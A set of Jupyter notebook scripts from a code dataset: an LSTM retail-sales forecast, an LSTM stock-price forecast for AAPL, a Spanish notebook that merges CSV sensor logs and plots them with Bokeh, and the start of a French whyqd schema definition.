))\n \n X_test, y_test = np.array(X_test), np.array(y_test)\n X_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\n \n return X_test, y_test\n\nX_test, y_test = create_test_data()\n\n# +\n# making predictions with first simple model\npreds = model.predict(X_test)\n\n# reshaping\npreds = preds.reshape(121,15)\npreds = reshape1_preds[:, -1:]\n\npreds = scaler.inverse_transform(preds)\n# -\n\n# grabbing RMSE of predictions\nrmse = np.sqrt(np.mean((preds-y_test)**2))\nrmse\n\n# +\ndataset = df_model.filter(['7day_moving_avg_Quantity'])\ntrain = dataset[:n_train]\nvalid = dataset[n_train:]\n\nvalid['predictions'] = preds\n\ndef plot_preds(train_data, valid_data):\n \n plt.figure(figsize=(18,6))\n sns.lineplot(data=train_data, x=\"InvoiceDay\", y=\"7day_moving_avg_Quantity\", label=\"train\")\n sns.lineplot(data=valid_data, x=\"InvoiceDay\" ,y=\"predictions\", label=\"preds\")\n sns.lineplot(data=valid_data, x=\"InvoiceDay\" ,y=\"7day_moving_avg_Quantity\", label=\"validation\",ls=\":\")\n\n plt.title(\"Training, Validation Data and Predictions\")\n plt.show()\n\n\n# -\n\nplot_preds(train, valid)\n\n# We can see from the above plot that the model did a rather poor job of predicting the future 7 day rolling window average of quantity sold. The model output fairly uniform predictions throughout the remainder of the time series. \n#\n# Am going to tweak the model and see if I can get any better performance\n\n# #### Updating Lookback period and model\n\nX_train, y_train = create_train_data(train_data, lookback=45)\nX_test, y_test = create_test_data(lookback=45)\n\n# +\nmodel2 = Sequential([\n LSTM(units=128, activation=\"tanh\", input_shape=(X_train.shape[1], 1), return_sequences=True,),\n LSTM(units=64, activation=\"tanh\", return_sequences=True),\n Dropout(.3),\n Dense(25),\n BatchNormalization(),\n Dense(1),\n])\n\nmodel2.compile(optimizer=\"adam\", loss=\"mean_squared_error\")\n\nbatch_size = 1\nepochs=1\nmodel2.fit(X_train, y_train, batch_size=batch_size, epochs=epochs)\n\n# +\n# making predictions with first simple model\npreds = model2.predict(X_test)\n\n# reshaping\npreds = preds.reshape(121, 45)\npreds = reshape1_preds[:, -1:]\npreds = scaler.inverse_transform(preds)\n\ndataset = df_model.filter(['7day_moving_avg_Quantity'])\ntrain = dataset[:n_train]\nvalid = dataset[n_train:]\n\nvalid['predictions'] = preds\n\nplot_preds(train, valid)\n# -\n\nrmse = np.sqrt(np.mean((preds-y_test)**2))\nrmse\n\n# ### Conclusion\n#\n# In this project I performed Exploratory Analysis on a dataset containing transaction details for a retailer over the course of two years. I showed how the time series data could be smoothed to account for moving averages over various windows. Finally I built two LSTM models to predict future quantities sold accounting for a different model architecture and different lookback period. \n#\n# Moving forward I would like to iterate on the model architecture to force the model to output more accurate, and realistic predictions. I can perform more time series smoothing on the data to get rid of noise and feed more signal into the final model.\n","repo_name":"elutins/MSDS_DTSA","sub_path":"5511_Deep_Learning/Final_Project/retail-transactions-lstm.ipynb","file_name":"retail-transactions-lstm.ipynb","file_ext":"py","file_size_in_byte":11391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"72118696977","text":"# + [markdown] id=\"T0Hwzr7H_7nR\" colab_type=\"text\"\n# **Stock Market Prediction and Forecating using Stacked LSTM**\n\n# + id=\"kKGETDAoAH09\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 70} outputId=\"0f045348-a3a4-4e7d-ecf7-cbb616fa37d4\"\nimport pandas_datareader as pdr\n\n# + id=\"h5NaizwYAT7W\" colab_type=\"code\" colab={}\nkey = ''\ndf = pdr.get_data_tiingo('AAPL', api_key = key)\n\n# + id=\"whIyqG-5AkrL\" colab_type=\"code\" colab={}\ndf.to_csv('AAPL.csv')\n\n# + id=\"6njWzOPYAr8j\" colab_type=\"code\" colab={}\nimport pandas as pd\n\n# + id=\"g3olU76YAvpA\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 299} outputId=\"884d6114-97cb-48ad-dee8-4d995d3ce3ca\"\ndf = pd.read_csv('AAPL.csv')\ndf.head()\n\n# + id=\"Y9azq1b_Bbwc\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 299} outputId=\"b2650842-c81a-43c8-9634-c268ea1d8dcd\"\ndf.tail()\n\n# + id=\"wUDVPXhHA04U\" colab_type=\"code\" colab={}\ndf1 = df.reset_index()['close']\n\n# + id=\"S0mhTIgFA-Ry\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"dbbeaddf-c25b-4ce4-c41f-3a86dc1c2778\"\ndf1.shape\n\n# + id=\"O0n0jCTJCCK_\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 265} outputId=\"616e8ed6-6d9d-4be8-ac20-a4357c1bf9f0\"\nimport matplotlib.pyplot as plt\nplt.plot(df1)\nplt.show()\n\n# + id=\"Z3lyNKilCN4X\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 218} outputId=\"1f9d9878-e731-473d-e3b2-79ba00b7e5f4\"\ndf1\n\n# + id=\"duSLJp75ClQ8\" colab_type=\"code\" colab={}\n#rescaling as LSTM is sensitive to the scale of data\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler(feature_range=(0,1))\ndf1 = scaler.fit_transform(np.array(df1).reshape(-1,1))\n\n# + id=\"ZrSEbciAERLH\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 134} outputId=\"b9591153-fe4d-4fd5-8720-2dc59b09beda\"\ndf1\n\n# + id=\"THOoT4B1DP8O\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"42cce3f4-b8a5-4abc-b627-6b12f4e10181\"\ndf1.shape\n\n# + id=\"Vi3lRO_fDZuW\" colab_type=\"code\" colab={}\n#splitting dataset into train and test spilt\ntraining_size = int(len(df1)*0.70)\ntest_size = len(df1) - training_size\ntrain_data, test_data = df1[0:training_size, :], df1[training_size:len(df1), :1]\n\n# + id=\"YY9AnZUIEKuh\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"f96b7574-a548-4540-f6ca-b4bef22cc3c2\"\ntraining_size\n\n# + id=\"p9RLQhSIF8iy\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"65f88a6b-4e59-4b83-ce94-dfb559141fec\"\ntest_size\n\n\n# + id=\"kk4zi8N1GaiY\" colab_type=\"code\" colab={}\ndef create_dataset(dataset, time_step =1):\n dataX, dataY = [], []\n for i in range(len(dataset) - time_step-1):\n a = dataset[i:(i+time_step),0]\n dataX.append(a)\n dataY.append(dataset[i + time_step, 0])\n return np.array(dataX),np.array(dataY) \n\n\n# + id=\"f2AFdoFgHX4J\" colab_type=\"code\" colab={}\ntime_step = 100\nX_train, y_train = create_dataset(train_data, time_step)\nX_test, y_test = create_dataset(test_data, time_step)\n\n# + id=\"K1mivJvWH9dF\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 235} outputId=\"6c198836-b2a8-4fb3-bfb3-4c66e9ac3ee8\"\nX_train\n\n# + id=\"_wpONSHLJSX7\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"5f8a2b77-3d9f-453b-a486-abc525a23c59\"\nX_train.shape\n\n# + id=\"hCwDW0zdJ-8Y\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"10d72724-cb84-43b3-8ebe-b93c4f9baa11\"\ny_train.shape\n\n# + id=\"6abVAjAYKA3g\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"0444f10b-1c9f-40d1-fbcd-d76d62398887\"\nX_test.shape\n\n# + id=\"TziLU0UzKEfa\" colab_type=\"code\" colab={}\n#reshape the input into 3D shape\nX_train = X_train.reshape(X_train.shape[0], X_train.shape[1],1)\nX_test = X_test.reshape(X_test.shape[0], X_test.shape[1],1)\n\n# + id=\"BrBj8MOZLIfh\" colab_type=\"code\" colab={}\nimport tensorflow\n\n# + id=\"WsR7HQJiK1KS\" colab_type=\"code\" colab={}\n#creating the model\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.layers import LSTM\n\n# + id=\"fFgVsAKkLGq6\" colab_type=\"code\" colab={}\nmodel = Sequential()\nmodel.add(LSTM(50, return_sequences = True, input_shape = (100,1)))\nmodel.add(LSTM(50, return_sequences = True))\nmodel.add(LSTM(50))\nmodel.add(Dense(1))\nmodel.compile(loss = 'mean_squared_error', optimizer = 'adam')\n\n# + id=\"qOjbMlLJL06m\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 286} outputId=\"fdb278db-bc29-4a0d-969f-38d6b177abac\"\nmodel.summary()\n\n# + id=\"7zltxyFvL3S8\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} outputId=\"f868eb17-df81-4261-f2a5-39dd9bd86375\"\nmodel.fit(X_train,y_train, validation_data = (X_test, y_test), epochs=100, batch_size=64)\n\n# + id=\"KtAfkO-sO7fp\" colab_type=\"code\" colab={}\ntrain_predict = model.predict(X_train)\ntest_predict = model.predict(X_test)\n\n# + id=\"KUcpqZMEOByx\" colab_type=\"code\" colab={}\ntrain_predict = scaler.inverse_transform(train_predict)\ntest_predict = scaler.inverse_transform(test_predict)\n\n# + id=\"xNazKY0ZPcTC\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"5ee9a6ae-c940-49b0-fe65-863b702a1460\"\nimport math\nfrom sklearn.metrics import mean_squared_error\nmath.sqrt(mean_squared_error(y_train, train_predict))\n\n# + id=\"k9yBe_wZPuZm\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"c89f2fdd-0f55-4bad-b31b-6975f81475e3\"\nmath.sqrt(mean_squared_error(y_test, test_predict))\n\n# + id=\"jHVTz6LhP8Jn\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 265} outputId=\"f2a871cf-8237-486a-b660-9d8176bb7a18\"\n### Plotting \n# shift train predictions for plotting\nlook_back=100\ntrainPredictPlot = np.empty_like(df1)\ntrainPredictPlot[:, :] = np.nan\ntrainPredictPlot[look_back:len(train_predict)+look_back, :] = train_predict\n# shift test predictions for plotting\ntestPredictPlot = np.empty_like(df1)\ntestPredictPlot[:, :] = np.nan\ntestPredictPlot[len(train_predict)+(look_back*2)+1:len(df1)-1, :] = test_predict\n# plot baseline and predictions\nplt.plot(scaler.inverse_transform(df1))\nplt.plot(trainPredictPlot)\nplt.plot(testPredictPlot)\nplt.show()\n\n# + [markdown] id=\"zSO5aflIR7O3\" colab_type=\"text\"\n# **Predicting for future 30 days**\n\n# + id=\"vVT3HgSJR1CK\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"50074031-62d2-406d-ebe2-905d5a9d19da\"\nlen(test_data)\n\n# + id=\"XWxCY1sFSERi\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"38538dbc-fd19-4081-c840-6fc9472fc5cb\"\nX_input = test_data[278:].reshape(1,-1)\nX_input.shape\n\n# + id=\"yo17loc_STVy\" colab_type=\"code\" colab={}\ntemp_input = list(X_input)\ntemp_input = temp_input[0].tolist()\n\n# + id=\"FOlHpvwuSu2P\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} outputId=\"cc8f5b60-a9f0-4879-9697-702ec3e965f2\"\nfrom numpy import array\n\nlst_output=[]\nn_steps=100\ni=0\nwhile(i<30):\n \n if(len(temp_input)>100):\n #print(temp_input)\n x_input=np.array(temp_input[1:])\n print(\"{} day input {}\".format(i,x_input))\n x_input=x_input.reshape(1,-1)\n x_input = x_input.reshape((1, n_steps, 1))\n #print(x_input)\n yhat = model.predict(x_input, verbose=0)\n print(\"{} day output {}\".format(i,yhat))\n temp_input.extend(yhat[0].tolist())\n temp_input=temp_input[1:]\n #print(temp_input)\n lst_output.extend(yhat.tolist())\n i=i+1\n else:\n x_input = X_input.reshape((1, n_steps,1))\n yhat = model.predict(x_input, verbose=0)\n print(yhat[0])\n temp_input.extend(yhat[0].tolist())\n print(len(temp_input))\n lst_output.extend(yhat.tolist())\n i=i+1\n \n\nprint(lst_output)\n\n# + id=\"SxxWrHfkTqfU\" colab_type=\"code\" colab={}\nday_new=np.arange(1,101)\nday_pred=np.arange(101,131)\n\n# + id=\"gzqYkr8AT5EH\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"0a4aa337-1bf7-4af5-8384-a4bdd307e1bd\"\nlen(df1)\n\n# + id=\"Uc5BiTmRT71w\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 282} outputId=\"e05edfae-90ae-4c19-b6c9-7dbd56f7b2dd\"\nplt.plot(day_new,scaler.inverse_transform(df1[1158:]))\nplt.plot(day_pred,scaler.inverse_transform(lst_output))\n\n# + id=\"k7yg65s-T_0Y\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 282} outputId=\"d7463a08-25df-45f9-ce1a-34e6a4b8a266\"\ndf3=df1.tolist()\ndf3.extend(lst_output)\nplt.plot(df3[1200:])\n\n# + id=\"6V9_bIItUEaz\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 282} outputId=\"d06c9700-5cbd-44df-cb92-d66ba883496c\"\ndf3=scaler.inverse_transform(df3).tolist()\nplt.plot(df3)\n\n# + id=\"ni8TuMxGULY1\" colab_type=\"code\" colab={}\n\n","repo_name":"Anj-ali/Deep-Learnig","sub_path":"StockMarketPrediction/StockMarketPredictionUsingLSTM.ipynb","file_name":"StockMarketPredictionUsingLSTM.ipynb","file_ext":"py","file_size_in_byte":8968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"70842150419","text":"import csv\nimport pandas as pd\nimport os\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom datetime import datetime\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom functools import reduce\nfrom pandas.plotting import register_matplotlib_converters\n\n\ndef limpiar(path):\n palabra = \"Record\"\n with open(path, newline='') as File:\n reader = csv.reader(File)\n for index,row in enumerate(reader):\n if (row[0]==palabra):\n cut_index=index\n data = pd.read_csv(path, skiprows=cut_index, delimiter = ', ', engine='python')\n data.columns = data.columns.str.replace('\"', \"\")\n data['Date'] = data['Date'].map(str)+ \".\" + data['Time'].map(str)\n data['Date'] = pd.to_datetime(data['Date'], format = \"%m/%d/%Y.%H:%M:%S\")\n data = data.rename(columns={'Date': 'Datetime'})\n del data['Time']\n del data['Status']\n del data['Record']\n return data.copy()\n\n\n\ninitial_dir = \"./\"\nfilenames=filedialog.askopenfilenames(title=\"Selecciona los Archivos\",\n initialdir=initial_dir,\n filetypes=( (\"Archivo CSV\", \"*.csv\"),(\"Todos los archivos\", \"*.*\")))\nfiledialog.mainloop()\n\n# +\nLDPS = [None]*len(filenames)\n\nfor num,file in enumerate(filenames):\n LDPS[num]=(limpiar(file))\n\n\n\n# +\nMerge = reduce(lambda left,right: pd.merge(left,right,on='Datetime', how='outer'), LDPS)\n\nMerge=Merge.sort_values(by=['Datetime'])\nMerge=Merge.reset_index(drop=True)\nMerge = Merge.set_index('Datetime')\n\n# -\n\ndisplay(Merge)\n\n\n\n# +\n\n\ninitial_dir = \"./\"\n\nexport_file_path = filedialog.asksaveasfilename(title=\"Selecciona los Archivos\",\n initialdir=initial_dir, defaultextension='.csv')\nMerge.to_csv (export_file_path, index = False, header=True)\n\nfiledialog.mainloop()\n# -\n\nMerge.dtypes\n\nfrom bokeh.io import output_notebook, show\noutput_notebook()\n\nfrom bokeh.io import output_notebook, show\noutput_notebook()\nimport numpy as np \nfrom bokeh.io import output_notebook, show\nfrom bokeh.plotting import figure\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.models import HoverTool\n\np = figure(plot_width=400, plot_height=400)\np.hex([1, 2, 3, 4, 5], [6, 7, 2, 4, 5], size=12, line_color=\"navy\", fill_color=\"orange\", fill_alpha=0.5)\nshow(p)\n\n# +\n# create a new plot (with a title) using figure\np = figure(plot_width=900, plot_height=400, title=\"My Line Plot\")\n\n# add a line renderer\np.line([1, 2, 3, 4, 5], [6, 7, 2, 4, 5], line_width=2)\n\nshow(p) # show the results\n# -\n\nfrom bokeh.sampledata.glucose import data\ndata.head()\n\ndata.dtypes\n\ndata.index\n\nd=Merge.loc['2020-04-01':'2020-04-08']\n\ntitle = d['PFT3'].name\nprint(title)\n\nfiltere = d[d['PFT3'].notnull()].index.tolist()\n\nd.head(1)\n\ny=d.loc[filtere,title]\n\nprint(y)\n\n\n\n#d = Merge.loc['2020-04-01 00:00:00':'2020-04-02 00:00:00']\nd=Merge\nfor x in list(d):\n Variable = x\n title = d[Variable].name\n filtere = d[d[title].notnull()].index.tolist()\n y=d.loc[filtere,title]\n\n\n p = figure(x_axis_type=\"datetime\", title=title, plot_height=350, plot_width=800)\n p.step(y.index, abs(y))\n show(p)\n\n\n# +\nd=Merge\nVariable = \"PFT3\"\ntitle = d[Variable].name\nfiltere = d[d[title].notnull()].index.tolist()\ny=d.loc[filtere,title]\n\n\np = figure(x_axis_type=\"datetime\", title=title, plot_height=350, plot_width=800)\np.step(y.index, abs(y))\nshow(p)\n# -\n\nfrom bokeh.models import HoverTool\nfrom bokeh.models import HoverTool\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.io import output_notebook, show\nfrom bokeh.plotting import figure\n\nd = Merge.loc['2020-04-01 00:00:00':'2020-04-02 00:00:00']\nVariable = 'PFT3'\ntitle = d[Variable].name\n\nfiltere = d[d[title].notnull()].index.tolist()\n\n# +\n\nz=d[[title]]\nz=z.dropna()\ndisplay(z)\n\n# +\nimport pandas as pd\n\n# use bp as bokeh plot\nfrom bokeh.plotting import figure, output_file, show\nfrom bokeh.models import Range1d, HoverTool, ColumnDataSource\n\n\n# get the datetime library for date & time calcs\nfrom datetime import datetime, timedelta\n# -\n\nz['Date']=pd.to_datetime(z.index)\ndisplay(z)\nprint(z.dtypes)\n\nz['DateString'] = z[\"Date\"].dt.strftime(\"%Y-%m-%d %H:%M:%S\")\ndisplay(z)\nprint(z.dtypes)\n\ncds = ColumnDataSource(z)\nprint(cds)\n\n\n\ntitle = d[Variable].name\n\nbp = figure(width=500, height=250, x_axis_type=\"datetime\", sizing_mode=\"scale_width\")\n\n# +\nbp = figure(width=500, height=250, x_axis_type=\"datetime\", sizing_mode=\"scale_width\")\nhover = HoverTool(tooltips = [(\"Date\",\"@DateString\"),(title, \"@PFT3\")])\nbp.add_tools(hover)\n\nbp.line(\"Date\", title, color = \"Red\", source = cds)\n\nshow(bp)\n\n# +\nbp = figure(width=500, height=250, x_axis_type=\"datetime\", sizing_mode=\"scale_width\")\nhover = HoverTool(tooltips = [(\"Date\",\"@DateString\"),(title, atitle)])\nbp.add_tools(hover)\natitle = '@' + title + ''\nbp.circle(x='Date', y = title, source = cds, fill_alpha = 0.0, line_alpha = 1.0, size= 10)\n#bp.step(x='Date', y = title, source = cds, mode = \"before\",line_color =\"#2EFEF7\" )\n#bp.step(x='Date', y = title, source = cds, mode = \"center\",line_color =\"#00FF00\")\nbp.step(x='Date', y = title, source = cds, mode = \"after\",line_color =\"#FE2E2E\")\n\n\nshow(bp)\n# -\n\natitle = '@' + title + ''\nprint(atitle)\n\n\n\n\n\nd=Merge\nfor x in list(d):\n Variable = x\n title = d[Variable].name\n filtere = d[d[title].notnull()].index.tolist()\n y=d.loc[filtere,title]\n\n\n p = figure(x_axis_type=\"datetime\", title=title, plot_height=350, plot_width=800)\n p.step(y.index, abs(y))\n show(p)\n\n\n\n# +\nfrom bokeh.io import output_notebook, show\n\nimport numpy as np \n\n\nfrom bokeh.models import HoverTool\n\nfrom bokeh.models import ColumnDataSource\n\nfrom bokeh.plotting import figure\noutput_notebook()\n\n# +\nd = Merge.loc['2020-04-01 00:00:00':'2020-04-02 00:00:00']\n\nfor x in list(d):\n Variable = x\n title = d[Variable].name\n z=d[[title]]\n z=z.dropna()\n z['Date']=pd.to_datetime(z.index)\n z['DateString'] = z[\"Date\"].dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n \n cds = ColumnDataSource(z)\n atitle = '@' + title + ''\n bp = figure(width=500, height=250, x_axis_type=\"datetime\", sizing_mode=\"scale_width\", title = title)\n hover = HoverTool(tooltips = [(\"Date\",\"@DateString\"),(title, atitle)])\n bp.add_tools(hover)\n \n bp.circle(x='Date', y = title, source = cds, fill_alpha = 0.0, line_alpha = 1.0, size= 10)\n bp.step(x='Date', y = title, source = cds, mode = \"after\",line_color =\"#FE2E2E\")\n\n\n show(bp)\n\n# +\n\nfrom bokeh.models import BoxAnnotation, Toggle\nd = Merge.loc['2020-04-01 00:00:00':'2020-04-02 00:00:00']\nVariable = \"PFT3\"\ntitle = d[Variable].name\nz=d[[title]]\nz=z.dropna()\nz['Date']=pd.to_datetime(z.index)\nz['DateString'] = z[\"Date\"].dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n \ncds = ColumnDataSource(z)\natitle = '@' + title + ''\nbp = figure(width=500, height=250, x_axis_type=\"datetime\", sizing_mode=\"scale_width\", title = title)\nhover = HoverTool(tooltips = [(\"Date\",\"@DateString\"),(title, atitle)], mode='vline')\nbp.add_tools(hover)\n'''bp.background_fill_color=\"#f5f5f5\"\nbp.grid.grid_line_color=\"white\"\nbp.xaxis.axis_label = 'Date'\nbp.yaxis.axis_label = title\nbp.axis.axis_line_color = None\nbp.ygrid.band_fill_color = \"olive\"\nbp.ygrid.band_fill_alpha = 0.1'''\ngreen_box = BoxAnnotation(top=1, bottom=0.95, fill_color='blue', fill_alpha=0.1)\nbp.add_layout(green_box)\nbp.circle(x='Date', y = title, source = cds, fill_alpha = 0.0, line_alpha = 0.0, size= 5)\nbp.step(x='Date', y = title, source = cds, mode = \"after\",line_color =\"#FE2E2E\")\n\n\nshow(bp)\n# -\n\n\n\n\n\n\n\n\n\n\n\nsource = ColumnDataSource(z)\n\nz.index = z.index.map(lambda x: x.strftime(\"%b %d\"))\n\nimport pandas as pd\nimport bokeh.plotting as bp\nfrom bokeh.models import HoverTool, DatetimeTickFormatter\n\nmySource = bp.ColumnDataSource(z)\n\nmyPlot = bp.figure(height = 600,\n width = 800,\n x_axis_type = 'datetime',\n title = 'ColumnDataSource')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# +\nimport pandas as pd\nimport bokeh.plotting as bp\nfrom bokeh.models import HoverTool, DatetimeTickFormatter\noutput_notebook()\n# Create the base data\ndata_dict = {\"Dates\":[\"2017-03-01\",\n \"2017-03-02\",\n \"2017-03-03\",\n \"2017-03-04\",\n \"2017-03-05\",\n \"2017-03-06\"],\n \"Prices\":[1, 2, 1, 2, 1, 2]}\n\n# Turn it into a dataframe\ndata = pd.DataFrame(data_dict, columns = ['Dates', 'Prices'])\n\n# Convert the date column to the dateformat, and create a ToolTipDates column\ndata['Dates'] = pd.to_datetime(data['Dates'])\ndata['ToolTipDates'] = data.Dates.map(lambda x: x.strftime(\"%b %d\")) # Saves work with the tooltip later\n\n# Create a ColumnDataSource object\nmySource = bp.ColumnDataSource(data)\n\n# Create your plot as a bokeh.figure object\nmyPlot = bp.figure(height = 600,\n width = 800,\n x_axis_type = 'datetime',\n title = 'ColumnDataSource',\n y_range=(0,3))\n\n# Format your x-axis as datetime.\nmyPlot.xaxis[0].formatter = DatetimeTickFormatter(days='%b %d')\n\n# Draw the plot on your plot object, identifying the source as your Column Data Source object.\nmyPlot.circle(\"Dates\",\n \"Prices\",\n source=mySource,\n color='red',\n size = 25)\n\n# Add your tooltips\nmyPlot.add_tools( HoverTool(tooltips= [(\"Dates\",\"@ToolTipDates\"),\n (\"Prices\",\"@Prices\")]))\n\n\n# Create an output file\n\nbp.show(myPlot) # et voilà.\n# -\n\n\n\n\n\nfiltere = Merge[Merge['PFT3'].notnull()].index.tolist()\n\nfrom bokeh.layouts import gridplot\nfrom bokeh.models import CDSView, ColumnDataSource, IndexFilter\nfrom bokeh.plotting import figure, show\n\n\n# +\nfrom bokeh.layouts import gridplot\nfrom bokeh.models import CDSView, ColumnDataSource, IndexFilter\nfrom bokeh.plotting import figure, show\n\nsource = ColumnDataSource(data=dict(x=[1, 2, 3, 4, 5], y=[1, 2, 3, 4, 5]))\nview = CDSView(source=source, filters=[IndexFilter([0, 2, 4])])\n\ntools = [\"box_select\", \"hover\", \"reset\"]\np = figure(plot_height=300, plot_width=300, tools=tools)\np.circle(x=\"x\", y=\"y\", size=10, hover_color=\"red\", source=source)\n\np_filtered = figure(plot_height=300, plot_width=300, tools=tools)\np_filtered.circle(x=\"x\", y=\"y\", size=10, hover_color=\"red\", source=source, view=view)\n\nshow(gridplot([[p, p_filtered]]))\n# -\n\n\n\n# +\nimport numpy as np\n\nfrom bokeh.io import output_notebook, show\noutput_notebook()\nfrom bokeh.models import ColumnDataSource, HoverTool\nfrom bokeh.plotting import figure\nfrom bokeh.sampledata.stocks import AAPL\n\n\n\ndef datetime(x):\n return np.array(x, dtype=np.datetime64)\n\nsource = ColumnDataSource(data={\n 'date' : datetime(AAPL['date'][::10]),\n 'adj close' : AAPL['adj_close'][::10],\n 'volume' : AAPL['volume'][::10],})\n\np = figure(plot_height=250, x_axis_type=\"datetime\", tools=\"\",title=\"Hover Tooltip Formatting\",\n sizing_mode=\"scale_width\")\n\np.background_fill_color=\"#f5f5f5\"\np.grid.grid_line_color=\"white\"\np.xaxis.axis_label = 'Date'\np.yaxis.axis_label = 'Price'\np.axis.axis_line_color = None\n\np.line(x='date', y='adj close', line_width=2, color='#ebbd5b', source=source)\n\np.add_tools(HoverTool(\n tooltips=[\n ( 'date', '@date{%F}' ),\n ( 'close', '$@{adj close}{%0.2f}' ), # use @{ } for field names with spaces\n ( 'volume', '@volume{0.00 a}' ),\n ],\n\n formatters={\n 'date' : 'datetime', # use 'datetime' formatter for 'date' field\n 'adj close' : 'printf', # use 'printf' formatter for 'adj close' field\n # use default 'numeral' formatter for other fields\n },\n\n # display a tooltip whenever the cursor is vertically in line with a glyph\n mode='vline'\n))\n\nshow(p)\n# -\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# +\nfrom bokeh.io import show\nfrom bokeh.models import ColumnDataSource\nfrom bokeh.plotting import figure\nimport pandas as pd\n\ndf = pd.DataFrame({'x': [1, 2, 3], 'A_y' : [1, 5, 3], 'A': [0.2, 0.1, 0.2],\n 'B_y' : [2, 4, 3], 'B':[0.1, 0.3, 0.2]})\nsource = ColumnDataSource(df)\ntools_to_show = 'box_zoom,save,hover,reset'\np = figure(plot_height =300, plot_width = 700,toolbar_location='above', tools=tools_to_show,\n\n# \"easy\" tooltips in Bokeh 0.13.0 or newer\ntooltips=[(\"Hey\",\"$name\"), (\"Aux\", \"@$name\")])\n\ncolumns = ['A', 'B']\n\nfor col in columns:\n\n # have to use different colnames for y-coords so tooltip can refer to @$name\n p.line('x', col + \"_y\", source=source, name=col)\n\nshow(p)\n# -\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Katy9912/EPSOL-Trabajo1","sub_path":"Epsol/Scripts/ScriptConMouse1.ipynb","file_name":"ScriptConMouse1.ipynb","file_ext":"py","file_size_in_byte":12429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"7626666625","text":"#importattion de whyqd et appelle de la methode schema\nimport whyqd as _w\nschema = _w.Schema()\n\n# +\n#ajout des details a ton schema\ndetails = {\n \"name\":\"HDR__Table_02_Schema\",\n \"title\":\"Table 02 csv Schema\",\n \"description\":\"A schema for the first exercice\"\n \n}\nschema = _w.Schema()\nschema.set_details(**details)\n# -\n\n# # Adpte la variable \"fields\" au schema que tu veux en sortir \n# # Inspire toi de celui du prof si tu as \"des refrences\" en colonne \n\nfields=[\n {\n \"name\":\"Country Name\",\n \"title\":\"Country Name\",\n \"type\":\"string\",\n \"description\":\"Official country names\",\n \"constraints\": {\n \"required\":True\n }\n }, \n {\n \"name\":\"HDI Category\",\n \"title\":\"HDI Category\",\n \"type\":\"string\",\n \"description\":\"Human Development Index Category derived from the HDI Rank\",\n \"constraints\":{\n \"required\": True\n }\n \n },\n {\n \"name\":\"Indicator Name\",\n \"title\":\"Indicator Name\",\n \"type\":\"string\",\n \"description\":\"Indicator described in the data series\"\n },\n {\n \"name\":\"Values\",\n \"title\":\"Values\",\n \"type\":\"number\",\n \"description\":\"Value for the Year and Indicator Name\"\n\n }\n ]\n\n\n#ajout de fiels dans ton schema\nfor field in fields:\n schema.set_field(**field)\n\nimport os\n\ndirectory = F\"{os.getcwd()}\\\\\" #je voulais que les info sont enregistrées dans mon repertoire ou il y'a mon notebook(tu peux modifier)\n# vous pouvez également spécifier un nom de fichier facultatif\n# si vous l'omettez, le nom du fichier sera par défaut le nom du schéma\nfilename = \"Myschema\" #nom que tu veux donné au schéma\n# si le fichier existe déjà, vous devrez spécifier \"overwrite=True\" 